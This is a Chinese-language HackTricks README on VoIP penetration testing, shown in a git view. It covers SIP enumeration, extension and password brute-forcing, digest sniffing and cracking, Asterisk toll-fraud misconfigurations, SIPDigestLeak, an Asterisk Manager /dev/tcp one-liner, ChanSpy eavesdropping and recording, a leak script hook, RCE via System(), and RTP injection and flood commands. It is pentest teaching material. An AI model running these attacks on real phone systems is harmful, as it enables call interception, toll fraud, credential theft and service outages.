hacktricks/network-services-pentesting/pentesting-voip/README.md

513 lines
29 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# VoIP渗透测试
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
2023-08-03 19:12:22 +00:00
## VoIP基本信息
2023-08-03 19:12:22 +00:00
要开始学习VoIP的工作原理请查看
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## VoIP枚举
2023-08-03 19:12:22 +00:00
### 电话号码
2023-08-03 19:12:22 +00:00
红队可以采取的第一步是使用OSINT工具、Google搜索或网页抓取来搜索可用的电话号码以与公司联系。
2023-08-03 19:12:22 +00:00
一旦你有了电话号码,你可以使用在线服务来识别运营商:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
2023-08-03 19:12:22 +00:00
了解运营商是否提供VoIP服务你可以确定公司是否正在使用VoIP...此外公司可能没有雇用VoIP服务而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
2023-08-03 19:12:22 +00:00
自动回复音乐等事物通常表明正在使用VoIP。
```bash
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
2023-08-03 19:12:22 +00:00
### OSINT信息
2023-08-03 19:12:22 +00:00
任何其他有助于识别正在使用的VoIP软件的OSINT枚举对于红队都是有帮助的。
2023-08-03 19:12:22 +00:00
### 网络枚举
2023-08-03 19:12:22 +00:00
* **`nmap`** 能够扫描UDP服务但由于扫描的UDP服务数量较多速度很慢并且可能对这种类型的服务不够准确。
* **`svmap`** 来自SIPVicious (`sudo apt install sipvicious`)将在指定的网络中定位SIP服务。
* `svmap`很容易被阻止因为它使用了User-Agent `friendly-scanner`,但是你可以修改`/usr/share/sipvicious/sipvicious`中的代码来更改它。
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
2023-08-03 19:12:22 +00:00
* **`sipscan.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan 是一个非常快速的用于扫描 UDP、TCP 或 TLS 上的 SIP 服务的扫描器。它使用多线程并且可以扫描大范围的网络。它允许轻松指定端口范围,同时扫描 TCP 和 UDP使用其他方法默认情况下将使用 OPTIONS并指定不同的 User-Agent等等
```bash
2023-08-03 19:12:22 +00:00
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
```
2023-08-03 19:12:22 +00:00
* **metasploit**(元气框架):
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
2023-08-03 19:12:22 +00:00
#### 额外的网络枚举
2023-08-03 19:12:22 +00:00
PBX还可能暴露其他网络服务例如
2023-08-03 19:12:22 +00:00
* **69/UDP (TFTP)**:固件更新
* **80 (HTTP) / 443 (HTTPS)**通过Web管理设备
* **389 (LDAP)**:用于存储用户信息的替代方法
* **3306 (MySQL)**MySQL数据库
* **5038 (Manager)**允许从其他平台使用Asterisk
* **5222 (XMPP)**使用Jabber发送消息
* **5432 (PostgreSQL)**PostgreSQL数据库
* 等等...
2023-08-03 19:12:22 +00:00
### 方法枚举
2023-08-03 19:12:22 +00:00
可以使用[sippts](https://github.com/Pepelux/sippts)中的`sipenumerate.py`来查找PBX中可用的方法。
```bash
python3 sipenumerate.py -i 10.10.0.10 -r 5080
```
2023-08-03 19:12:22 +00:00
### 分机枚举
2023-08-03 19:12:22 +00:00
在PBX私有分支交换系统中分机是指为组织或企业中的个别电话线路、设备或用户分配的**唯一内部标识符**。分机使得在组织内部**高效地路由呼叫**成为可能,无需为每个用户或设备分配单独的外部电话号码。
2023-08-03 19:12:22 +00:00
* 使用SIPVicious中的**`svwar`**`sudo apt install sipvicious``svwar`是一个免费的SIP PBX分机扫描工具。它的工作原理类似于传统的拨号扫描器通过**猜测一系列分机或给定的分机列表**来进行扫描。
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
2023-08-03 19:12:22 +00:00
* **`sipextend.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten 可以识别 SIP 服务器上的分机。Sipexten 可以检查大型网络和端口范围。
```bash
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
```
2023-08-03 19:12:22 +00:00
* **metasploit**: 你也可以使用metasploit来枚举扩展名/用户名:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
2023-08-03 19:12:22 +00:00
* **`enumiax` (`apt install enumiax`): enumIAX** 是一种用于 Inter Asterisk Exchange 协议的**用户名暴力破解枚举器**。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。
```bash
2023-08-03 19:12:22 +00:00
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
2023-08-03 19:12:22 +00:00
## VoIP攻击
2023-08-03 19:12:22 +00:00
### 密码暴力破解
2023-08-03 19:12:22 +00:00
在发现了**PBX**和一些**分机/用户名**之后,红队可以尝试使用常见密码字典通过**`REGISTER`方法**对分机进行身份验证,以进行身份验证的密码暴力破解。
{% hint style="danger" %}
2023-08-03 19:12:22 +00:00
请注意,**用户名**可能与分机相同但这种做法可能因PBX系统、其配置和组织的偏好而有所不同...
2023-08-03 19:12:22 +00:00
如果用户名与分机不同,您需要**找出用户名以进行暴力破解**。
{% endhint %}
2023-08-03 19:12:22 +00:00
* **`svcrack`**来自SIPVicious`sudo apt install sipvicious`SVCrack允许您破解PBX上特定用户名/分机的密码。
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
2023-08-03 19:12:22 +00:00
* **`sipcrack.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack 是一个用于破解 SIP 协议中的摘要认证的工具。
{% code overflow="wrap" %}
```bash
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
```
{% endcode %}
* **Metasploit**:
2023-08-03 19:12:22 +00:00
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
2023-08-03 19:12:22 +00:00
### VoIP嗅探
2023-08-03 19:12:22 +00:00
如果你在一个**开放的Wifi网络**中发现VoIP设备你可以**嗅探到所有的信息**。此外如果你在一个更封闭的网络中通过以太网或受保护的Wifi连接你可以执行**中间人攻击,如**[**ARP欺骗**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)在**PBX和网关**之间,以便嗅探信息。
2023-08-03 19:12:22 +00:00
在网络信息中,你可以找到用于管理设备的**Web凭据**,用户**分机号码****用户名****IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重现它们以**听到对话**,等等。
2023-08-03 19:12:22 +00:00
要获取这些信息你可以使用诸如Wireshark、tcpdump等工具但一个**专门用于嗅探VoIP对话的工具是**[**ucsniff**](https://github.com/Seabreg/ucsniff)。
{% hint style="danger" %}
2023-08-03 19:12:22 +00:00
请注意,如果**SIP通信中使用了TLS**你将无法清楚地看到SIP通信。\
如果使用了**SRTP**和**ZRTP****RTP数据包将不会以明文形式**显示。
{% endhint %}
2023-08-03 19:12:22 +00:00
#### SIP凭据
2023-08-03 19:12:22 +00:00
[查看此示例以更好地了解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example)以了解**凭据是如何发送的**。
2023-08-03 19:12:22 +00:00
* **`sipdump`**和**`sipcrack`**,是**sipcrack**的一部分(`apt-get install sipcrack`):这些工具可以从**pcap**中**提取**SIP协议中的**摘要认证**,并对其进行**暴力破解**。
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
2023-08-03 19:12:22 +00:00
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:**
* **SipTshark** 从PCAP文件中提取SIP协议的数据。
* **SipDump** 从PCAP文件中提取SIP摘要认证。
* **SIP Digest Crack** 是一个用于破解SIP协议中摘要认证的工具。
```bash
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
```
2023-08-03 19:12:22 +00:00
#### DTMF代码
2023-08-03 19:12:22 +00:00
不仅可以在网络流量中找到SIP凭据还可以找到用于访问语音邮件的DTMF代码。\
可以通过**INFO SIP消息**、**音频**或**RTP数据包**发送这些代码。如果代码在RTP数据包中可以剪切对话的那部分并使用multimo工具提取它们
```bash
multimon -a DTMF -t wac pin.wav
```
2023-08-03 19:12:22 +00:00
### 免费通话/ Asterisks 连接配置错误
2023-08-03 19:12:22 +00:00
在 Asterisk 中,可以允许来自特定 IP 地址或任意 IP 地址的连接:
```
host=10.10.10.10
host=dynamic
```
2023-08-03 19:12:22 +00:00
如果指定了IP地址主机就不需要定期发送REGISTER请求在REGISTER数据包中发送的生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟进行注册。但是它需要打开允许来自VoIP服务器的连接的端口以接听电话。
2023-08-03 19:12:22 +00:00
要定义用户,可以使用以下方式:
2023-08-03 19:12:22 +00:00
* **`type=user`**:用户只能作为用户接收呼叫。
* **`type=friend`**:可以作为对等体进行呼叫,并作为用户接收呼叫(与扩展一起使用)。
* **`type=peer`**可以作为对等体发送和接收呼叫SIP-trunk
2023-08-03 19:12:22 +00:00
还可以通过不安全的变量建立信任关系:
2023-08-03 19:12:22 +00:00
* **`insecure=port`**允许通过IP验证对等连接。
* **`insecure=invite`**INVITE消息不需要身份验证。
* **`insecure=port,invite`**:两者都需要。
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
当使用**`type=friend`**时,**host**变量的**值将不会被使用**,因此,如果管理员使用该值**错误配置SIP-trunk****任何人都可以连接到它**。
2023-08-03 19:12:22 +00:00
例如,以下配置将存在漏洞:\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
2023-08-03 19:12:22 +00:00
### 免费通话/ Asterisks上下文配置错误
2023-08-03 19:12:22 +00:00
在Asterisk中**上下文context**是拨号计划中的一个命名容器或部分,用于**将相关的分机、动作和规则分组在一起**。拨号计划是Asterisk系统的核心组件它定义了**如何处理和路由呼入和呼出的电话**。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔。
2023-08-03 19:12:22 +00:00
每个上下文在配置文件中定义,通常在**`extensions.conf`**文件中。上下文由方括号表示,上下文名称位于方括号内。例如:
```bash
csharpCopy code[my_context]
```
2023-08-03 19:12:22 +00:00
在上下文中,您定义分机(拨号号码的模式)并将其与一系列操作或应用程序关联起来。这些操作确定呼叫的处理方式。例如:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
2023-08-03 19:12:22 +00:00
这个示例演示了一个名为"my\_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时电话将被接听播放欢迎消息然后电话将被终止。
2023-08-03 19:12:22 +00:00
这是**另一个上下文**,允许**拨打任何其他号码**
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
2023-08-03 19:12:22 +00:00
如果管理员将**默认上下文**定义为:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
任何人都可以使用服务器拨打任何其他号码(服务器管理员将为通话付费)。
{% endhint %}
{% hint style="danger" %}
2023-08-03 19:12:22 +00:00
此外,默认情况下,**`sip.conf`** 文件包含 **`allowguest=true`**,因此**任何**未经身份验证的攻击者都可以拨打任何其他号码。
{% endhint %}
2023-08-03 19:12:22 +00:00
* **`sipinvite.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** Sipinvite 检查一个 PBX 服务器是否允许我们在没有身份验证的情况下进行呼叫。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转接到第二个外部号码。
2023-08-03 19:12:22 +00:00
例如,如果您的 Asterisk 服务器具有错误的上下文配置,您可以接受未经授权的 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下进行呼叫。
{% code overflow="wrap" %}
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
```
{% endcode %}
2023-08-03 19:12:22 +00:00
### 免费通话 / 配置错误的IVRS
2023-08-03 19:12:22 +00:00
IVRS代表**交互式语音应答系统**是一种电话技术允许用户通过语音或按键输入与计算机化系统进行交互。IVRS用于构建**自动呼叫处理**系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。
2023-08-03 19:12:22 +00:00
VoIP系统中的IVRS通常包括以下内容
2023-08-03 19:12:22 +00:00
1. **语音提示**预先录制的音频消息引导用户通过IVR菜单选项和指示。
2. **DTMF**双音多频信号通过在电话上按键生成的按键输入用于浏览IVR菜单并提供输入。
3. **呼叫路由**:根据用户输入将呼叫定向到适当的目标,如特定部门、代理或分机。
4. **用户输入捕获**从呼叫者那里收集信息如帐号号码、案例ID或任何其他相关数据。
5. **与外部系统集成**将IVR系统连接到数据库或其他软件系统以访问或更新信息、执行操作或触发事件。
2023-08-03 19:12:22 +00:00
在Asterisk VoIP系统中您可以使用拨号计划**`extensions.conf`**文件)和各种应用程序(如`Background()`、`Playback()`、`Read()`等创建IVR。这些应用程序帮助您播放语音提示捕获用户输入并控制呼叫流程。
2023-08-03 19:12:22 +00:00
#### 脆弱配置示例
```scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
2023-08-03 19:12:22 +00:00
前面是一个例子用户被要求按下1来呼叫一个部门按下2来呼叫另一个部门或者如果他知道的话输入完整的分机号码。\
漏洞在于没有检查指定的分机号码长度,因此用户可以输入完整的号码并进行呼叫。
2023-08-03 19:12:22 +00:00
### 分机注入
2023-08-03 19:12:22 +00:00
使用以下分机号码:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
2023-08-03 19:12:22 +00:00
当输入**`${EXTEN}`**的时候,将会呼叫到对应的**分机**。当输入**ext 101**时,会发生以下情况:
```scss
exten => 101,1,Dial(SIP/101)
```
2023-08-03 19:12:22 +00:00
然而,如果`${EXTEN}`允许输入**不仅仅是数字**就像在旧版Asterisk中一样攻击者可以输入**`101&SIP123123123`**来拨打电话号码123123123。结果将如下所示
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
2023-08-03 19:12:22 +00:00
因此,对分机号**`101`**和**`123123123`**的呼叫将被发送,只有第一个接听呼叫的分机会建立连接...但是,如果攻击者使用一个绕过正在执行的任何匹配但不存在的分机的**分机**,他可以**注入呼叫到所需的号码**。
## SIPDigestLeak
2023-08-03 19:12:22 +00:00
SIP Digest Leak是一种影响大量SIP电话的漏洞包括硬件和软件IP电话以及电话适配器VoIP到模拟电话。该漏洞允许**泄露Digest身份验证响应**,该响应是从密码计算出来的。然后可以进行**离线密码攻击**,并根据挑战响应恢复大多数密码。
2023-08-03 19:12:22 +00:00
漏洞场景(有关[**更多信息,请查看此处**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
2023-08-03 19:12:22 +00:00
1. 一个IP电话受害者正在监听端口5060接受电话
2. 攻击者向IP电话发送INVITE
3. 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接听电话)
4. 当电话挂断时,**受害者电话向攻击者发送BYE**
5. 攻击者发出一个要求身份验证的**407响应**并发出一个身份验证挑战
6. **受害者电话在第二个BYE中提供对身份验证挑战的响应**
7. 攻击者可以在本地机器上(或分布式网络等)对挑战响应进行暴力攻击,并猜测密码
2023-08-03 19:12:22 +00:00
* **sipdigestleak.py** 来自[**sippts**](https://github.com/Pepelux/sippts)**** SipDigestLeak利用了这个漏洞。
```bash
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
2023-08-03 19:12:22 +00:00
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
```
2023-08-03 19:12:22 +00:00
### 点击拨号
2023-08-03 19:12:22 +00:00
点击拨号允许一个**网页用户**(例如可能对某个产品感兴趣)输入他的**电话号码**以便被呼叫。然后会拨打商家的电话,当他**接听电话**时,用户将被**呼叫并与代理人连接**。
2023-08-03 19:12:22 +00:00
这种情况下常见的Asterisk配置文件为
```scss
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
2023-08-03 19:12:22 +00:00
* 先前的配置文件允许**任何IP地址连接**(如果知道密码)。
* 要进行呼叫,如先前指定的,**不需要读取权限**,只需要**写入**中的**发起**权限。
2023-08-03 19:12:22 +00:00
有了这些权限任何知道密码的IP都可以连接并提取过多的信息例如
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
{% endcode %}
2023-08-03 19:12:22 +00:00
**更多信息或操作可能会被请求。**
2023-08-03 19:12:22 +00:00
### **窃听**
2023-08-03 19:12:22 +00:00
在Asterisk中可以使用命令**`ChanSpy`**来指示要监视的**分机号码**(或所有分机号码),以便听取正在进行的对话。此命令需要分配给一个分机号码。
2023-08-03 19:12:22 +00:00
例如,**`exten => 333,1,ChanSpy('all',qb)`**表示如果您**呼叫**分机号码**333**,它将**监视**所有分机号码,**在新对话开始时****`b`**)以安静模式(**`q`**)开始**收听**,因为我们不想进行干预。您可以通过按下**`*`**或标记分机号码来切换到另一个正在进行的对话。
2023-08-03 19:12:22 +00:00
还可以使用**`ExtenSpy`**来仅监视一个分机号码。
2023-08-03 19:12:22 +00:00
除了收听对话外,还可以使用以下分机号码将其**记录在文件中**
{% code overflow="wrap" %}
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
```
{% endcode %}
2023-08-03 19:12:22 +00:00
通话将保存在 **`/tmp`** 中。
2023-08-03 19:12:22 +00:00
您甚至可以让Asterisk在关闭时执行一个脚本以泄露通话信息。
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed
2023-08-03 19:12:22 +00:00
**RTCPBleed**是一个影响基于Asterisk的VoIP服务器的重大安全问题于2017年发布。该漏洞允许**RTP实时传输协议流量**即VoIP通话被**任何互联网上的人拦截和重定向**。这是因为RTP流量在通过NAT网络地址转换防火墙时绕过身份验证。
2023-08-03 19:12:22 +00:00
RTP代理试图解决影响RTC系统的NAT限制通过在两个或多个方之间代理RTP流。当存在NAT时RTP代理软件通常无法依赖通过信令例如SIP检索到的RTP IP和端口信息。因此许多RTP代理已经实现了一种机制通过自动学习这样的**IP和端口元组**。这通常是通过检查传入的RTP流量并将任何传入RTP流量的源IP和端口标记为应该响应的IP和端口来完成的。这种机制可能被称为“学习模式”**不使用任何形式的身份验证**。因此,**攻击者**可以**向RTP代理发送RTP流量**并接收到用于呼叫者或被叫方的正在进行的RTP流的代理RTP流量。我们将此漏洞称为RTP Bleed因为它允许攻击者接收应该发送给合法用户的RTP媒体流。
2023-08-03 19:12:22 +00:00
RTP代理和RTP堆栈的另一个有趣行为是有时**即使不容易受到RTP Bleed的影响**,它们也会**接受、转发和/或处理来自任何源的RTP数据包**。因此攻击者可以发送RTP数据包这可能允许他们注入非法媒体而不是合法媒体。我们将此攻击称为RTP注入因为它允许将非法RTP数据包注入到现有的RTP流中。这种漏洞可能存在于RTP代理和终端设备中。
2023-08-03 19:12:22 +00:00
Asterisk和FreePBX传统上使用**`NAT=yes`设置**该设置允许RTP流量绕过身份验证可能导致通话中没有音频或单向音频。
2023-08-03 19:12:22 +00:00
有关更多信息,请访问[https://www.rtpbleed.com/](https://www.rtpbleed.com/)
2023-08-03 19:12:22 +00:00
* **`rtpbleed.py`**来自[**sippts**](https://github.com/Pepelux/sippts)****它通过发送RTP流来检测RTP Bleed漏洞。
```bash
python3 rtpbleed.py -i 10.10.0.10
```
2023-08-03 19:12:22 +00:00
* **`rtcpbleed.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** 它通过发送 RTP 流来检测 RTP Bleed 漏洞
```bash
python3 rtcpbleed.py -i 10.10.0.10
```
2023-08-03 19:12:22 +00:00
* **`rtpbleedflood.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** 利用 RTP Bleed 漏洞发送 RTP 流的攻击工具
```bash
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
```
2023-08-03 19:12:22 +00:00
* **`rtpbleedinject.py`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**** 利用 RTP Bleed 漏洞发送 RTP 流(来自音频文件)的漏洞利用程序
```bash
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
```
2023-08-03 19:12:22 +00:00
### RCE远程命令执行
2023-08-03 19:12:22 +00:00
在Asterisk中如果你以某种方式能够**添加扩展规则并重新加载它们**例如通过攻击一个存在漏洞的Web管理服务器就可以使用**`System`**命令实现远程命令执行RCE
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
2023-08-03 19:12:22 +00:00
有一个名为**`Shell`**的命令,可以在必要时用来执行系统命令,而不是使用`System`命令。
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
如果服务器禁止在`System`命令中使用某些字符例如在Elastix中请检查Web服务器是否允许以某种方式在系统内部创建文件例如在Elastix或trixbox中然后使用它来创建一个后门脚本然后使用`System`来执行该脚本。
{% endhint %}
2023-08-03 19:12:22 +00:00
#### 有趣的本地文件和权限
2023-08-03 19:12:22 +00:00
* **`sip.conf`** -> 包含SIP用户的密码。
* 如果Asterisk服务器以root身份运行您可以妥协root权限。
* **mysql root用户**可能**没有任何密码**。
* 这可以用来创建一个新的mysql用户作为后门。
* **`FreePBX`**
2023-08-03 19:12:22 +00:00
* **`amportal.conf`** -> 包含Web面板管理员FreePBX的密码。
* **`FreePBX.conf`** -> 包含用于访问数据库的FreePBXuser用户的密码。
* 这可以用来创建一个新的mysql用户作为后门。
* **`Elastix`**
2023-08-03 19:12:22 +00:00
* **`Elastix.conf`** -> 包含明文密码如mysql root密码IMAPd密码Web管理员密码。
* **多个文件夹**将属于受损的asterisk用户如果不以root身份运行。该用户可以读取前面的文件并且还可以控制配置因此他可以在执行时使Asterisk加载其他后门二进制文件。
2023-08-03 19:12:22 +00:00
### RTP注入
2023-08-03 19:12:22 +00:00
可以使用工具如**`rtpinsertsound`**`sudo apt install rtpinsertsound`)和**`rtpmixsound`**`sudo apt install rtpmixsound`)来在对话中插入**`.wav`**。
2023-08-03 19:12:22 +00:00
或者您可以使用来自[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)的脚本来**扫描对话****`rtpscan.pl`**),向对话发送`.wav`**`rtpsend.pl`**)并在对话中插入噪音(**`rtpflood.pl`**)。
### DoS
2023-08-03 19:12:22 +00:00
有几种方法可以尝试在VoIP服务器上实现DoS。
2023-08-03 19:12:22 +00:00
* 来自[**sippts**](https://github.com/Pepelux/sippts)的**`sipflood.py`****_**SipFlood**_向目标发送无限数量的消息
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/)DoS Asterisk使用的IAX协议
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt)用于在UDP/IP上执行SIP/SDP INVITE消息洪水攻击的工具。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/)发送多个格式正确的RTP数据包。需要知道正在使用的RTP端口先进行嗅探
* [**SIPp**](https://github.com/SIPp/sipp)允许分析和生成SIP流量。因此也可以用于DoS攻击。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak)SIP瑞士军刀。也可以用于执行SIP攻击。
* Fuzzers[**protos-sip**](https://www.kali.org/tools/protos-sip/)[**voiper**](https://github.com/gremwell/voiper)。
* 来自[**sippts**](https://github.com/Pepelux/sippts)的**`sipsend.py`**SIPSend允许我们发送自定义的SIP消息并分析响应。
* 来自[**sippts**](https://github.com/Pepelux/sippts)的**`wssend.py`**WsSend允许我们通过WebSockets发送自定义的SIP消息并分析响应。
2023-08-03 19:12:22 +00:00
### 操作系统漏洞
2023-08-03 19:12:22 +00:00
安装Asterisk等软件的最简单方法是下载已经安装了它的操作系统分发版例如**FreePBXElastixTrixbox**... 但这些分发版一旦开始运行,系统管理员可能就不会再更新它们,而随着时间的推移,漏洞将被发现。
2023-08-03 19:12:22 +00:00
## 参考资料
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
